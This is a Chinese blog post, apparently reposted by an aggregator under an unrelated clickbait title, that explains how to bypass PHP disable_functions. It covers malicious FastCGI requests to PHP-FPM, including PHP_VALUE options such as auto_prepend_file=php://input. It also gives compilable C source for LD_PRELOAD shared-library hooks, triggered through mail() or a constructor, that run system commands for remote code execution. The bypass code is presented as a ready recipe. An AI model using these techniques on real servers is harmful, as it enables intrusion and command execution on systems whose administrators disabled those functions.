教你一招完美避开php内核的各种问题,赶紧收藏起来~

Posted kali_Ma

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了教你一招完美避开php内核的各种问题,赶紧收藏起来~相关的知识,希望对你有一定的参考价值。

今天你学废了吗

在这里插入图片描述
最近小伙伴貌似被php的各种问题搞的快要崩溃了,是时候重拳出击一下了
在这里插入图片描述

介绍

php中的disable_function是EG(ini_directives)来获得的,而phpinfo根据 EG(ini_directives) 中获取信息并打印。
在这里插入图片描述
然后通过zend_disable_function()函数去禁止,简单的说就是通过 func->handler = ZEND_FN(display_disabled_function); 修改了handler。
在这里插入图片描述
而phpinfo⼀直是查看服务器php信息的可靠⽅式,但是在包含修改 disable_function的参数攻击FPM后,phpinfo已经显示修改,但是测试函数仍然禁⽤。在fpm攻击的配置中 EG(ini_directives) 找到表示 disable_functions 的 ini_entry ,然后修改值为我们传⼊的内容,⽽phpinfo展示的值就源于这⾥。
在这里插入图片描述
还会将要禁⽤的函数字符串传⼊fpm_php_disable 函数,再调⽤ zend_disable_function 函数修改 func->handler完成禁⽤。

在这里插入图片描述
所以说,包含 PHP_VALUE == disable_function= 的恶意FastCgi攻击FPM时,只能修改展示phpinfo信息

的 EG(ini_directives) ,也就是表⾯修改,对于已经禁⽤的函数⽆效的,但是可以通过FPM禁⽤新的函数。

总结

disable_function 的本质是修改 func->handler 完成对函数的禁⽤。
包含 PHP_VALUE ==disable_function= 的恶意FastCgi攻击FPM时,只能修改展示phpinfo信息的 EG(ini_directives) ,也就是表⾯修改,对于已经禁⽤的函数⽆效的,但是可以通过FPM禁⽤新的函数。
攻击FPM⽐较常⻅的有效利⽤选项是 extension_dir +extension 、 open_basedir 、 allow_url_include = On + auto_prepend_file =php://input 。

思考

那么我看网上有一下介绍是通过fpm来绕过disable_function。那么是怎么实现??底层到底是什么?

这里给出自己的答案,之所以说fpm能绕过df是因为通过配置 PHP_VALUE ==extension_dir +extension,然后我们上传我们的so来加载执行。那为什么说加载so就可以绕过???

是因为df是在模块初始化阶段的最后一步 加载so是在这个之前 可能是因为这个导致的rce
在这里插入图片描述
下面是清楚点的。
在这里插入图片描述
所以能够绕过

LD_PRELOAD与putenv的配合使用,即LD_PRELOAD这个环境变量指定路径的文件(也是so文件),会在其他文件被调用前,最先被调用而putenv可以设置环境变量。

介绍了某一个php函数,我认为是在执行的过程中能fork子进程的函数(启动外部程序的函数并能执行)然后我们hook该fork子进程,进行重写,完成rce。

例如:

mail(‘’,’’,’’,’’);

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls / > /tmp/sky");
}
int geteuid() 
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}
//编译成so文件
//gcc -c -fPIC hack.c -o hack.so
还有imap_mail()、mb_send_mail()和error_log()函数等

然后还有一个进化版本

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("ls");
}

其中__attribute__ ((constructor))有如下说明

1.It’s run when a shared library is loaded, typically during program startup.
2.That’s how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.

1.它在加载共享库时运行,通常在程序启动时运行。//putenv("LD_PRELOAD=hack.so");
2.所有GCC属性都是这样的;可能是为了将它们与函数调用区分开来。
3.析构函数在卸载共享库时运行,通常在程序退出时运行。
所以我们就不需要找一个函数去触发了。

这就搞定了~
在这里插入图片描述
在这里插入图片描述

最后,为了感谢大家的阅读与三连,我个人整理了一些视频和文档供大家下载学习,需要的下载就行了
【在这下载】

在这里插入图片描述

拜拜溜~

以上是关于教你一招完美避开php内核的各种问题,赶紧收藏起来~的主要内容,如果未能解决你的问题,请参考以下文章

一键替换PPT文字技巧,教你一招搞定,不会的可要收藏喽

还在使用Window原始的CMD界面?教你一招进行界面完美优化

还在使用Window原始的CMD界面?教你一招进行界面完美优化

还在使用Window原始的CMD界面?教你一招进行界面完美优化

教你一招:解决安装或卸载office时 提示错误2503 2502 发生了内部错误

一招教你看懂Netty!总结拼多多,美团JAVA面试经验,赶紧学起来